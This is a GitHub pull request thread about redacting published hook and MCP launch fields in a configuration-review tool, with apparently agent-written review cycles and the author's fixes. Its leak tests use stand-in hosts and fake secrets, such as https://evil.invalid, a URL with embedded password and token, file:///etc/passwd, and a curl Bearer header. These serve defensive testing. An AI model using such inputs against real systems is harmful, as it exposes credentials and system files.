  • Tests fail without the fix. Five mutations in a scratch copy of this head each make a targeted test fail, and the unmutated selection passes (32 tests):
    • comparing raw grants in diff_host_grants;
    • forcing MARKDOWN_ENTRY_MAX_CHARS to (None,);
    • publishing the whole sanitized first word as executable;
    • dropping the package's previous-flag test;
    • saving baselines without compared_grant.
  • Local checks.
    • The run covered 93 test files: the 12 this PR edits, and every test file that references host grants, capability diff rows, host comparison, the host-grants schemas or the PR comment. These include the host-config and cold-start replays, the oracle controls, the public surface contract, schema round-trip and surface parity.
    • Result: 4,527 passed, 4 skipped, 1 failed. The one failure is tests/test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs. It fails the same way on main 8269922b under this machine's Python 3.14, where TOMLDecodeError reports a line and column.
    • scripts/generate_schemas.py --check exits 0, scripts/build-llms-full.py leaves no diff, and ruff check src tests scripts is clean.
  • CI: green on e980f742: suite 1–3, test, coverage, verify, verify-self, both launchers and both mcp extras. release-tag-consistency was skipped.

- A hook command whose first word is a URL no longer publishes the URL's
  host as its executable. The digest's input keeps a URL's host and drops
  its userinfo, query and path, so the last segment of
  `http://deploy:pw@build-cache.corp.internal?token=x` was the host.
  A first word holding `://`, as written or as that input holds it, now
  names no executable (`<not-shown>`), as the STABILITY note already said.
- When only one side's hook declaration is outside the documented shape,
  the row names that side and lists the other side's handlers, as an
  added hook's cell does: `PostToolUse: base matcher, command and timeout
  not shown (...); head (matcher Edit; command a.sh sha256:...)`. It used
  to say the declaration was malformed without naming a side, so a PR
  that repairs a hook block read as though the new block were the
  malformed one. Both sides outside the shape read as before.
- A matcher longer than 1,024 characters is `<not-shown>` and never
  reaches the published-label redaction, whose jwt and database-URL
  patterns take quadratic time. Only the listed handlers are read for
  publishing, and a group's matcher once: the matcher was redacted once
  per handler, so a 100,000-character matcher over 2,000 handlers took
  17 seconds to read and a 400,000-character one over 20,000 handlers
  did not finish in ten minutes. Both now read in about 0.1 seconds.
- `args_sha256` digests the package's position beside the marked
  arguments, so a literal `<package>` argument can no longer make two
  different argument lists digest alike.
- `uvx --with` is no longer a package runner's flag: its value is an
  extra requirement, not the server, so the server's own pin is the
  published package.
- A timeout published as text that reads as a finite number prints
  quoted, `timeout 5 → "5"`, instead of `timeout 5 → 5`.
- docs/design-partner-pilot-results.md no longer describes a draft of
  this change that never shipped.

The STABILITY note, CHANGELOG, host-boundary-support, the v0.7
inventory schema's descriptions and the tests follow. No command or
argument text is published anywhere; every command digest is unchanged.
@pengfei-threemoonslab

Copy link
Copy Markdown
Contributor Author

Addressed review cycle 5. New head 35d07ccb8685728944f8ce3ff20c712b56ca9eb0 (one commit on e980f742; the branch already contained origin/main 8269922b, so there was no rebase or force-push).

Blocking

C5-851-1: a URL as the first word published its host as executable. Fixed in _hook_command (core/host_grants.py). A first word holding ://, either as written or as the digest's input holds it, now names no executable. That matches what the STABILITY note and the docstring already said. The review's reproduction (Stop hook bin/notify.sh → http://deploy:hunter2@build-cache.corp.internal?token=abc123 x) now gives:

Stop: command changed (notify.sh sha256:091252764676 → <not-shown> sha256:649aa3f6c65c)

audit --host --json gives "executable": "<not-shown>", and hunter2, abc123 and build-cache appear 0 times. The command digests are unchanged: 649aa3f6c65c is the same as on e980f742.

  • test_the_executable_is_a_plain_token_or_not_named adds https://evil.invalid, https://evil.invalid?token=abc and http://user:pw@secret-host.internal, each expecting <not-shown>. It also adds the review's payload, a quoted URL, ftp://… and file:///etc/passwd.
  • LEAK_COMMANDS gets a cycle-5 URL whose userinfo, host and query are all canaries. So the all-artifacts test now proves the host reaches no artifact: inventory, baseline, drift, diff text/JSON, check, verify files and the PR comment.
  • The CHANGELOG, host-boundary-support and the v0.7 inventory schema's HostHookCommandV7 description now state the URL exclusion. The schema was regenerated and generate_schemas.py --check is clean.

C5-851-2: only the base outside the documented shape made the row call the declaration malformed. Fixed in _hook_change (core/capability_diff_rows.py). When exactly one side's handlers is null, the row names that side and lists the other side's handlers. It uses _listed_handlers, which is now shared with _hook_cell, so the listing matches an added hook's cell. Both sides outside the shape reads as before. The review's case, and its mirror, now read:

PostToolUse: base matcher, command and timeout not shown (the declaration is not a list of matcher groups whose hooks are objects); head (matcher Edit; command a.sh sha256:2f43f87c0e06)
PostToolUse: head matcher, command and timeout not shown (the declaration is not a list of matcher groups whose hooks are objects); base (matcher Edit; command a.sh sha256:2f43f87c0e06)
  • Both directions are covered by test_one_side_outside_the_documented_shape_names_that_side_and_lists_the_other[base|head], next to test_a_declaration_outside_the_documented_shape_names_the_limit. I made it a separate parametrized test so the both-sides case keeps its own assertion.
  • The test runs _every_route: diff text, review.changes[].change in diff --json and verifier.json, verify text, the PR comment summary and check text. It also asserts that the row stays ("PostToolUse", "PostToolUse") and that the out-of-shape command text never appears.
  • The STABILITY Shape bullet, the CHANGELOG and host-boundary-support describe the one-sided form.

A hang found while checking the P3 matcher finding (fixed)

_hook_handlers ran the published-label redaction on a group's matcher once per handler, for every handler, and only then cut the list at 16. Main never published matchers, so this is new in this PR. Measured on e980f742:

  • a 100,000-character matcher over 2,000 handlers: audit --host's inventory took 17.4 s;
  • a 400,000-character matcher (Edit| repeated) over 20,000 handlers: did not finish in 10 minutes (killed).

Now only the listed handlers are read for publishing, and a group's matcher is read once. The same two files read in 0.06 s and 0.12 s.

Nonblocking

  • Quadratic jwt/database-URL patterns through the matcher: fixed as suggested. A matcher longer than MAX_DETAIL_MATCHER_INPUT_CHARS (1,024) is published as <not-shown> before the label rule runs. It is never cut first, because a cut could leave part of a credential that the rule no longer recognises. A matcher up to 1,024 characters is redacted and then cut to 120, as before.

    • 64 KiB, 128 KiB and 1 MiB -eyJ / postgres://a: matchers now read in 0.01 s, 0.02 s and 0.12 s. They took 0.84 s at 64 KiB before.
    • _LONG_SHAPES gains four 1 MiB shapes: a jwt matcher, a database-URL matcher, one long matcher over 130,560 handlers, and a 1,024-character jwt matcher over 260,820 handlers. They read in 0.09–1.04 s. The published grant's size bound in that test goes from 2,000 to 4,096 characters, because sixteen 120-character matchers are legitimately about 2,900.
    • test_a_matcher_past_the_input_bound_is_not_shown_and_never_redacted pins the bound at 1,024 and 1,025 characters.
  • String timeout: fixed. A timeout published as text that reads as a finite number prints quoted. 5 → "5" reads PostToolUse: timeout 5 → "5", and so does "1e+100". 5s and inf are still printed as they are. Covered on every route by test_a_timeout_written_as_text_that_reads_as_a_number_is_quoted.

  • Package marker collision: fixed as suggested. args_sha256 now digests {args: <marked>, package_index: <index>}, so the package and the digest together determine the arguments.

    • ['-y','pkg@1.0.0','<package>'] → ['-y','<package>','pkg@1.0.0'] now reads docs: launch arguments changed (sha256:… → sha256:…), covered by test_a_literal_marker_argument_never_hides_an_argument_edit.
    • Only args_sha256 values for servers that publish a package change. It is display only, so no row, count or digest used in comparison moves. The STABILITY example digest was recomputed.
    • On the 80 vendored benchmark cases, ruleblast and both mcp-outline cases still read package-only, because the package's position is the same on both sides.
  • The first package-shaped argument may not be the server: fixed for uvx --with, the documented rule kept otherwise. --with is no longer a package runner's flag, because its value is an extra requirement, not the server. uvx --with requests==2.31.0 mcp-foo==1.2.0 now publishes mcp-foo==1.2.0. ['x@1.0.0','y@2.0.0'] → ['z','y@2.0.0'] still reads package x@1.0.0 → y@2.0.0: the first package-shaped argument did change, and that is the documented rule.

  • Free plain token in an OCI tag / npm build metadata: declined for now, as the review allows. I checked the shapes on this head:

    • db/admin:S3cretPassw0rd, org/img:npm_… and pkg@1.2.3+hunter2 are published as package when they are a positional argument that follows no flag but a runner's own.
    • As a hook's first word, each of them is <not-shown>, because :, @ and +-plus-@ are not plain-token shapes.
    • A bare npm_…, glpat-… or AIza… is published as executable only when it is the program name itself.

    All of this is within the shape the PM decision names (npm name@version, OCI reference with tag or digest; argv[0] basename as a plain token). Narrowing it means adding token-prefix heuristics, which is what the decision told us to stop doing. I have not opened an issue; this can be revisited if the owner wants it.

  • docs/design-partner-pilot-results.md: fixed. The paragraph now states only the rerun's result (package: null, args_sha256: null), not the draft args: [] / omitted_args: 0.

  • PR-description drift: fixed. The description now names the matcher input bound, the URL exclusion, the one-sided shape row and the package_index digest, and drops --with. Its "every quadratic shape at 1 MiB" claim is now true, since the matcher shapes are in _LONG_SHAPES.

Tests run

  • tests/test_hook_mcp_detail_fields.py: all pass.
  • 71 test files, in four parallel shards: every test file that references capability_diff_rows, core.host_grants, core.host_comparison, PostToolUse or mcpServers, plus test_host_config_replay, test_cold_start_replay, test_design_partner_pilot, test_local_contract and test_agent_instructions_{apply,renderers}. Result: 4,045 passed, 5 skipped, 0 failed. This set includes test_determinism_boundary, test_distribution_surface_parity, test_host_config_oracle_controls and test_public_surface_contract. The benchmark replays pass unchanged, and no replay.json was re-recorded.
  • ruff check on the changed files: clean.
  • scripts/generate_schemas.py --check: clean.

@pengfei-threemoonslab pengfei-threemoonslab left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Independent coding-agent review/address cycle 6 at 35d07ccb.

Not mergeable yet: one finding blocks merge. Both cycle 5 findings are fixed at this head, and no command or argument text reaches any output I checked. CI is green. The blocking finding: from about 13 changed hooks with two handlers each, the PR comment now drops lines that main keeps. Those lines are the reproduction command, the advisory line and, from 14 hooks on, the review question and whole rows. The CHANGELOG says the PR comment "keeps every row".

Every value below comes from a synthetic two-commit repository run through ./shipgate on this head and on origin/main 8269922b, or from calling this head's helpers directly.

  1. P2: from about 13 hook rows with long entries, the PR comment loses lines main keeps: the review question, the reproduction command, the advisory line, and eventually rows.
    • Evidence. One pull request moves the hook scripts from .claude/hooks/ and .codex/hooks/ to scripts/hooks/.
      • It covers all nine .claude/settings.json events and five .codex/hooks.json events.
      • Each event has one Edit|Write|MultiEdit group with two handlers, format.sh and lint.sh, both timeout: 30. That makes 14 rows.
      • I ran verify --ci-mode advisory and checked pr-comment.md in the default capability-review style.
    • On main (4,666 characters): all 14 rows are there, followed by What this run established, Review question: Does the team intend these 14 declared capability changes?, Reproduce: …, Advisory: no application release policy configured. This comparison grants no merge authority. and Evidence: ….
    • On this head (5,818 characters):
      • 13 entries are cut to 120 characters, each followed by the 57-character (shortened here; …) marker.
      • The 14th row prints its heading (- ⚠ high / widened — codex .codex/hooks.json) with no entry and no why.
      • The comment then ends with - … additional human summary detail omitted; see verifier.json.
      • None of What this run established, the review question, Reproduce, Advisory or Evidence is in the comment.
    • Other sizes.
      • With 13 rows (four Codex events), the head keeps the review question but drops Reproduce, Advisory and Evidence. main keeps all three.
      • With 16 events whose only change is async, the head lists 14 of the 16 row headings and no review question. main lists all 16 and the review question.
      • The existing test stops at 10 rows (8 hooks), where the head still fits.
    • Cause.
      • with_entries_in_room (report/host_comparison.py) tries only MARKDOWN_ENTRY_MAX_CHARS = (None, 480, 240, 120). When the comment does not fit even at 120, it returns the 120-character lines, and _truncate_markdown_lines cuts the tail as before.
      • At that bound a hook entry costs about 180 characters, counting the per-entry marker. On main the same entry was PreToolUse → PreToolUse, about 30 characters.
      • So at every size between these thresholds and main's own limit, the head's comment ends up shorter on content than main's.
    • Docs.
      • The CHANGELOG entry leads with "The PR comment keeps every row:".
      • The PR description says "The PR comment keeps every row."
      • The with_entries_in_room docstring says every row heading, the review question and the reproduction stay "wherever shortening entries makes them fit". Here they would fit: main fits them in 4,666 characters.
      • STABILITY's "when not even 120 fits, entries are cut to 120 and the bound cuts the rest, as before" reads as no worse than before, which is not what happens here.
    • Fix.
      • Make the comment never lose a line that main would print. For example, after 120, fall back to each over-long entry's own before → after text (the 1.1.0 text), or derive each entry's bound from the room left divided by the number of entries.
      • Print the verifier.json pointer once rather than after every entry.
      • Add a test built from the 14-row case above: every row heading and entry, the review question, and the Reproduce and Advisory lines appear in pr-comment.md, within 6,000 characters.
      • Then align the CHANGELOG, STABILITY and docstring wording with the new behaviour.

Nonblocking (P3):

  • A boolean or non-finite timeout and the same word as a string publish the same value. true → "true", JSON Infinity → "inf" and NaN → "nan" each publish equal timeouts, so such a change reads no difference in the matcher, command or timeout; …, although the timeout's type changed. The cycle 5 quoting covers only text that reads as a finite number. Quoting every string timeout would close it. This is contrived, since a boolean timeout is not valid.
  • The matcher's 1,024-character input bound applies to the raw text, not to the digest's input.
    • Bash(TOKEN=AAAAAAAAAA x) and Bash(TOKEN=<1,100 characters> x) have the same config_sha256, yet they publish Bash(TOKEN=<redacted> x) and <not-shown>.
    • STABILITY's "Every new member is a function of the configuration as config_sha256's input holds it, so it can move only when that digest does" is therefore not exact.
    • No row, digest or baseline is affected, since equality leaves the member out. Either bound the sanitized text, or reword the sentence.
  • The shape sentence names the wrong condition when command is not a string. {"hooks":[{"type":"command","command":123}]} publishes handlers: null, and the row says "the declaration is not a list of matcher groups whose hooks are objects", although it is one. STABILITY's Shape bullet states the condition correctly: "whose command, when present, is a string". The row sentence and the CHANGELOG ("objects with a string command") could match it.
  • A redaction gap that predates this PR, which the matcher now also passes through. _sanitize_sensitive_string's header rule replaces the first word after Authorization:, which is the scheme, so the bearer rule never sees the token.
    • Bash(curl -H "Authorization: Bearer hunter2hunter2" …) is published by main today as the permission rule Authorization: <redacted> hunter2hunter2.
    • A hook matcher of that shape is published the same way on this head.
    • Tokens with a known prefix (ghp_, sk-, JWT) are still caught by the label rule; opaque ones are not.
    • Real hook matchers name tools, not arguments, so this is contrived for matchers. It is worth a separate issue for permission rules; no issue tracks it that I could find.
  • PR description drift. "Contract goes 40 → 41 to advertise that": contract 41 is already on main from #821, and this PR extends it in place, as the contract comment says.

Prior blocking findings, re-verified at this head:

  • Cycle 5 (e980f742): both fixed.
    • 1. A URL's host as executable. bin/notify.sh → http://deploy:hunter2@build-cache.corp.internal?token=abc123 x now reads Stop: command changed (notify.sh sha256:091252764676 → <not-shown> sha256:649aa3f6c65c). main reads Stop → Stop.
      • hunter2, abc123, build-cache and corp.internal appear 0 times in diff text and JSON, verify text, every file under --out, check text and agent-boundary-json, audit --host --json, the drift payload and both saved baselines.
      • A fuzz run of 400,000 random commands, built from credential, URL, quote, separator and path fragments, found no published executable that is not the literal last / or \ segment of the command's first word as written, quotes removed.
    • 2. One side outside the documented shape. Base object and head list reads PostToolUse: base matcher, command and timeout not shown (the declaration is not a list of matcher groups whose hooks are objects); head (matcher Edit; command a.sh sha256:2f43f87c0e06), and the mirror names head and lists base. main reads PostToolUse → PostToolUse in both directions.
    • Tests fail without the fixes. Removing the two :// conditions from _hook_command, and restoring the either-side shape sentence in _hook_change, fails 10 tests:
      • seven URL cases of test_the_executable_is_a_plain_token_or_not_named;
      • test_no_command_or_argument_text_reaches_any_output_or_artifact;
      • both directions of test_one_side_outside_the_documented_shape_names_that_side_and_lists_the_other.
  • Cycles 1–4: resolved as cycle 5 recorded. The shell-text findings are closed by the scope decision.

Verified:

  • 27 edge cases in one repository: 17 hook events and 10 MCP servers.
    • The rows are correct in every case:
      • a positional handler shift, a duplicated handler, and a group swap, which reads as a reorder;
      • matcher absent → "";
      • timeout 5 → 5.0, "5" → 5 and 0 → -1;
      • an 80-digit timeout, and 1e308 → -1e-320;
      • a prompt-text edit, a 17th-handler edit, and [] → one handler;
      • a declaration → null;
      • a Windows path, a command → prompt type change, and a whitespace-only command;
      • a 1,000 → 1,100-character matcher, and two groups merged into one;
      • MCP [] → ["x"], no args → [], a package moving position, PyPI and OCI pins, a package plus an argument, a package removed, args removed, a URL server gaining args, and --secret-key rotated.
    • --token rotated is correctly no row.
    • Prompt text and argument canaries appear 0 times on every route.
    • The entries are identical across diff text, review.changes[].change in diff --json and verifier.json, verify text and check text.
    • diff --json rows and check --format agent-boundary-json are byte-identical to main's.
    • Baselines saved at both commits carry the same inventory_sha256 and grants as main's, and none of the display members. The drift payload's current side has them, and its baseline side does not.
  • Package index alignment. _redact_secret_values maps list items one to one, so redacted[index] is always the item's own redaction.
  • Schemas and docs.
    • scripts/generate_schemas.py --check exits 0, and ruff check src tests scripts is clean.
    • The CHANGELOG ## 1.1.0 section is byte-identical to e3c6cb0c, and the #819 migration note sits under Migration Note: Unreleased.
    • The 0.6 schema files are unchanged.
    • The STABILITY example digests reproduce: bin/lint.sh --fix, and ["-y","example-mcp-server@1.2.3"].
  • Local tests.
    • The run covered 111 test files, 5,610 tests: every test file this PR edits, every one that references host grants, capability diff rows, host comparison, the PR comment, the contract or the host-grants schemas, and the host-config and cold-start replays, the oracle controls and the public surface contract.
    • All passed except 7 in tests/test_release_source.py, which fail here with ModuleNotFoundError: hatchling because the local environment lacks it. They are unrelated to this PR, and CI runs them green.
    • tests/test_hook_mcp_detail_fields.py passed in full.
  • CI: green on 35d07ccb (run 35898581519): suite 1–3, test, coverage, verify, verify-self, both launchers and both mcp extras. release-tag-consistency was skipped.

- The PR comment keeps every line 1.1.0 kept. With about 13 long hook
  entries the comment lost what 1.1.0's printed: each entry was cut to
  120 characters and followed by its own 57-character verifier.json
  pointer, so a cut entry cost about 180 characters against 30 for
  `PreToolUse → PreToolUse`, the comment still did not fit, and its bound
  cut the coverage block, the review question, the reproduction, the
  advisory and the evidence line, and from 16 rows row headings too.
  The lines 1.1.0 printed now get their room first: the coverage block's
  budget and the agent instruction block are chosen with every entry in
  its shortest form, and the entries get only what is left. The first
  that fits is printed: every entry whole; every longer entry cut to the
  widest length of at least 60 characters at which the comment fits
  (bisection); entries in their shortest form, longest first; and that
  without its note. An entry's shortest form is a field-level difference
  cut after its name (`PreToolUse: …`, `docs: …`) or an added or removed
  grant's own row (`(absent) → PreToolUse`), printed only where shorter;
  none is longer than the entry 1.1.0 printed for the same row, and a
  permission rule's entry and a joined change are never shortened. One
  line after the rows, not one per entry, says entries were shortened and
  that verifier.json holds each whole. The omission line of a comment
  without a report is as long as 1.1.0's, so a comment 1.1.0 itself cut
  loses no line 1.1.0's cut kept.
- A boolean timeout is published as the JSON boolean, a non-finite float
  as `<not-shown>`, and every timeout written as text prints quoted, so
  `true` → `"true"` and `Infinity` → `"inf"` read `timeout true → "true"`
  and `timeout <not-shown> → "inf"`, not "no difference". Both used to
  publish the word a string could spell.
- The matcher's 1,024-character bound applies to the text as
  config_sha256's input holds it, so `Bash(TOKEN=<10 chars> x)` and the
  same rule with a 1,100-character value, which share a digest, publish
  the same matcher. The digest's string rule already runs over every
  matcher and is linear; the quadratic label redaction still never reads
  a long one.
- A declaration whose command is not a string reads `the declaration is
  not a list of matcher groups whose hooks are objects and whose commands
  are strings`, as the STABILITY Shape bullet already stated.

On the cycle-6 reproductions (two hook scripts moved under 14 and 13
events, and 16 async-only edits) every line of 1.1.0's comment, entries
aside, is in this one. From 1 to 40 moved hooks, with and without a
permission change, in both comment styles, every line 1.1.0 printed is
kept, a coverage block that lists what 1.1.0's counted aside, and where
1.1.0's comment overflowed this one keeps at least as many lines. The
v0.7 inventory schema, STABILITY, the CHANGELOG, host-boundary-support
and the capability_diff registry row follow. Rows, row counts, digests
and baselines are unchanged, and no command or argument text is
published.
@pengfei-threemoonslab

Copy link
Copy Markdown
Contributor Author

Addressed review cycle 6. New head b713c66186a496bf98ceb4b5a9fe09aa9f4bc16e (one commit on 35d07ccb, which was already on current main 8269922b, so no rebase was needed).

C6-851-1 (P2): the PR comment dropped lines main keeps — fixed

Cause. The finding was right. with_entries_in_room tried only 480, 240 and 120. Each cut entry also carried its own 57-character pointer. So one 120-character entry cost about 180 characters, against about 30 for PreToolUse → PreToolUse. When 120 did not fit, the bound cut the tail.

Fix (report/host_comparison.py, report/pr_comment.py):

  • The lines 1.1.0 printed get their room first. The coverage block's budget and the agent-instruction-block choice are now computed with every entry in its shortest form, so both are at least what 1.1.0 got. The entries get only what is left.
  • The ladder. The first rung that fits is printed:
    1. every entry whole;
    2. every longer entry cut, ending in …, to the widest length of at least 60 characters that fits (found by bisection);
    3. entries in their shortest form, longest first;
    4. rung 3 without its note.
  • Shortest form. A field-level difference is cut after its name (PreToolUse: …, docs: …). An added or removed grant is its row's own before → after ((absent) → PreToolUse). A form is used only where it renders shorter. A permission rule's entry and a joined change are never shortened.
  • Never longer than 1.1.0. No shortest form is longer than the entry 1.1.0 printed for that row. A hook's 1.1.0 entry was PreToolUse → PreToolUse; an MCP server's was its name plus at least one difference. I first tried the row's before → after for every entry, as you suggested. That was not enough: with long server names, name → name is longer than 1.1.0's name: env keys +B. A mix of 22 hook rows and 3 such MCP rows still lost the advisory line, so the form for a difference became the name cut.
  • One pointer. A single line after the rows, Some entries are shortened here to fit; verifier.json holds each entry whole., replaces the per-entry marker. It is dropped only where it does not fit beside every other line.
  • Omission line. The line a no-report comment prints when it cuts detail is now - … more human summary detail omitted; see verifier.json.. It is 59 characters, the same as 1.1.0's report.md line, so a comment that 1.1.0 itself cut is not cut shorter.

Evidence. I ran verify --ci-mode advisory on synthetic repositories, with this tree and with main's src/ side by side. "Entries aside" means that every line of main's pr-comment.md except the entry lines appears in the head's.

case main before (35d07ccb) now
moved-14 (9 .claude + 5 .codex events) all lines, 4,645 chars 14 headings, no question / Reproduce / Advisory / Evidence all of main's lines, entries aside; 5,994 chars
moved-13 all lines question kept; Reproduce / Advisory / Evidence lost all of main's lines, entries aside; 5,994 chars
async-16 all 16 rows and the question 14 of 16 headings, no question all of main's lines, entries aside; 5,985 chars
  • Sweep. I also ran 1 to 40 moved hooks, with and without a permission change, in both capability-review and findings styles. Every line main printed is kept, entries aside. The only differences are gains:
    • where main printed 1 item not listed, the coverage block now lists that item;
    • where main's own comment overflowed, the head keeps at least as many lines (for example 31 headings against 28).
  • Mixed hooks and MCP. 22 hook rows plus 3 MCP servers with long names and env, package and argument changes: main 5,807 chars, head 5,807 chars. All of main's lines are kept, plus the coverage block main had no room for.
  • Speed. Rendering a 1,502-row comment takes 0.09 s, against 0.055 s on main.

Tests (tests/test_hook_mcp_detail_fields.py):

  • test_long_hook_entries_leave_every_line_1_1_0_prints_in_the_pr_comment[moved-14|moved-13|async-16] checks, in pr-comment.md within 6,000 chars: every row heading with its entry and why, the coverage block with both sources, the review question, Reproduce, Advisory, Evidence, and exactly one note line.
  • test_a_bounded_comment_keeps_every_line_its_shortest_entries_would_print uses 18 moved hooks, 3 MCP servers whose env keys and package change, an added hook and server, and a permission removal and addition. It walks every room from where the shortest-form lines alone fit to where every entry fits whole. At each room it checks that:
    • the result fits;
    • it holds every non-entry line of the shortest-form lines;
    • each entry is whole, a prefix cut of at least 60 characters, or its shortest form, and a shortest form is no longer than the entry 1.1.0 printed;
    • all four rungs occur.
  • The cycle-4 test now expects one note line instead of per-entry markers.

Docs. The CHANGELOG ("keeps every line 1.1.0 kept"), the STABILITY PR-comment bullet, the with_entries_in_room and host_comparison_lines docstrings, and the capability_diff registry row now describe this ladder.

Nonblocking items

  • P3, boolean and non-finite timeouts — fixed. Quoting at render could not separate them: a boolean was published as the string "true", and Infinity as "inf", the same JSON a string timeout gives. Now:

    • a boolean is published as the JSON boolean;
    • a non-finite float is published as <not-shown> (JSON has no spelling for it);
    • every plain-token string timeout prints quoted.

    true → "true" now reads timeout true → "true", and Infinity → "inf" reads timeout <not-shown> → "inf", on every route. The v0.7 inventory schema's timeout gained boolean; it is regenerated, and generate_schemas.py --check passes.

  • P3, matcher input bound on raw text — fixed. The 1,024-character bound now applies to the matcher as config_sha256's input holds it. That string rule already runs over every matcher and is linear, and the quadratic label redaction still never reads a long matcher. Bash(TOKEN=<10 chars> x) and Bash(TOKEN=<1,100 chars> x) now share a digest and publish the same Bash(TOKEN=<redacted> x), so the STABILITY "function of config_sha256's input" sentence is exact for the matcher. New test: test_a_matcher_is_bounded_as_the_digest_input_holds_it.

  • P3, shape sentence — fixed. The row now reads … the declaration is not a list of matcher groups whose hooks are objects and whose commands are strings, and the CHANGELOG matches. The shape test is parametrized with a non-string command.

  • P3, Authorization: header rule — not changed, as noted. It predates this PR and is covered by the pending follow-up task.

  • PR-description drift — fixed. The description now says runtime contract 41 was moved by Name relevant inputs the host entry does not read, so a zero-row result is never read as covered (#812 slice 2) #821 and is extended in place. Its timeout, matcher, shape and PR-comment paragraphs follow this cycle.

  • hatchling locally — not reproduced. I did not run test_release_source.py.

Tests run

  • Before the final report-layer revision: 49 test files that reference changed symbols (render_pr_comment, host_comparison_lines, pr-comment.md, capability_diff_rows, _hook_timeout and others) all passed.
  • On the final head:
    • test_hook_mcp_detail_fields, test_host_diff_review_changes, test_manifest_free_pr_rows, test_host_comparison_coverage, test_partial_host_comparison, test_unread_changed_inputs, test_distribution_surface_parity, test_subject_rollup, test_cold_reader_order, test_human_review_presentation, test_host_only_advisory_recipe, test_claude_hooks_source, test_host_audit, test_docs_links, test_out_path_resolution and test_verify;
    • the benchmark replays test_host_config_replay, test_cold_start_replay and test_host_config_oracle_controls, whose run-of-record scores reproduce unchanged;
    • 1,105 passed, 1 skipped.
  • Also checked: generate_schemas.py --check, ruff check src tests scripts, and build-llms-full.py (no change to llms-full.txt).

@pengfei-threemoonslab pengfei-threemoonslab left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed exact head b713c66186a496bf98ceb4b5a9fe09aa9f4bc16e, including the prior review findings and cycle-6 fixes. No new blocking findings. I checked display-only fields against comparison/digest/baseline behavior, bounded command/package labels, typed timeout rendering, and the PR-comment space allocation.

Local validation: 558 passed, 1 skipped across hook/MCP detail fields, host-diff review changes, manifest-free PR rows, host audit, and distribution parity. Fresh verifier: control_state=complete, merge permission true. Existing full CI is green.

Integration note: #850 also introduces host-grants v0.7. Its eventual merge must combine the workflow-launch members with these hook/MCP fields and regenerate the schema files; taking either side wholesale would lose functionality. I will resolve and validate that integration before merging #850.

@pengfei-threemoonslab
pengfei-threemoonslab merged commit 94ae7d9 into main Sep 23, 2026
12 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Publish hook matcher, command summary and timeout, and MCP launch arguments, as bounded engine fields (#795 slice 2)

1 participant